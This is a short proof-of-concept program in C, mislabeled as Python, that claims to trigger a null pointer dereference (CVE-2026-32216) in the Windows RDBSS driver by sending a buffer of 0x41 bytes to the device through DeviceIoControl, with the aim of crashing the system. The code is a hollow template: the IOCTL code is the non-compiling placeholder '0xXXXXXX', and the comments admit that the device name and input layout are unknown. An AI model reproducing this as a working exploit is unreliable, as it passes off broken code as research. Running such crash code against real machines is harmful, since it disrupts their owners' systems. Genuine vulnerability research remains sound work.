The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// PoC for CVE-2026-32216
// Conceptual demonstration of triggering a Null Pointer Dereference in RDBSS
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char inputData[0x20] = {0};
// Attempt to obtain a handle to the RDBSS device
// Note: The actual device link name may vary depending on the specific Windows version and configuration
hDevice = CreateFileA("\\\\.\\Rdbss",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
printf("[*] This PoC requires the vulnerable driver to be loaded and accessible.\n");
return 1;
}
printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice);
// Prepare input buffer to trigger the vulnerability
// The specific data structure depends on the internal logic of the RDBSS driver
memset(inputData, 0x41, sizeof(inputData));
printf("[*] Sending malicious IOCTL to trigger Null Pointer Dereference...\n");
// Sending the DeviceIoControl request
// 0xXXXXXX represents the specific IOCTL code that triggers the bug
BOOL result = DeviceIoControl(hDevice,
0xXXXXXX, // Vulnerable IOCTL Code
inputData,
sizeof(inputData),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("[+] IOCTL returned successfully. If the bug exists, the system may crash now.\n");
}
CloseHandle(hDevice);
return 0;
}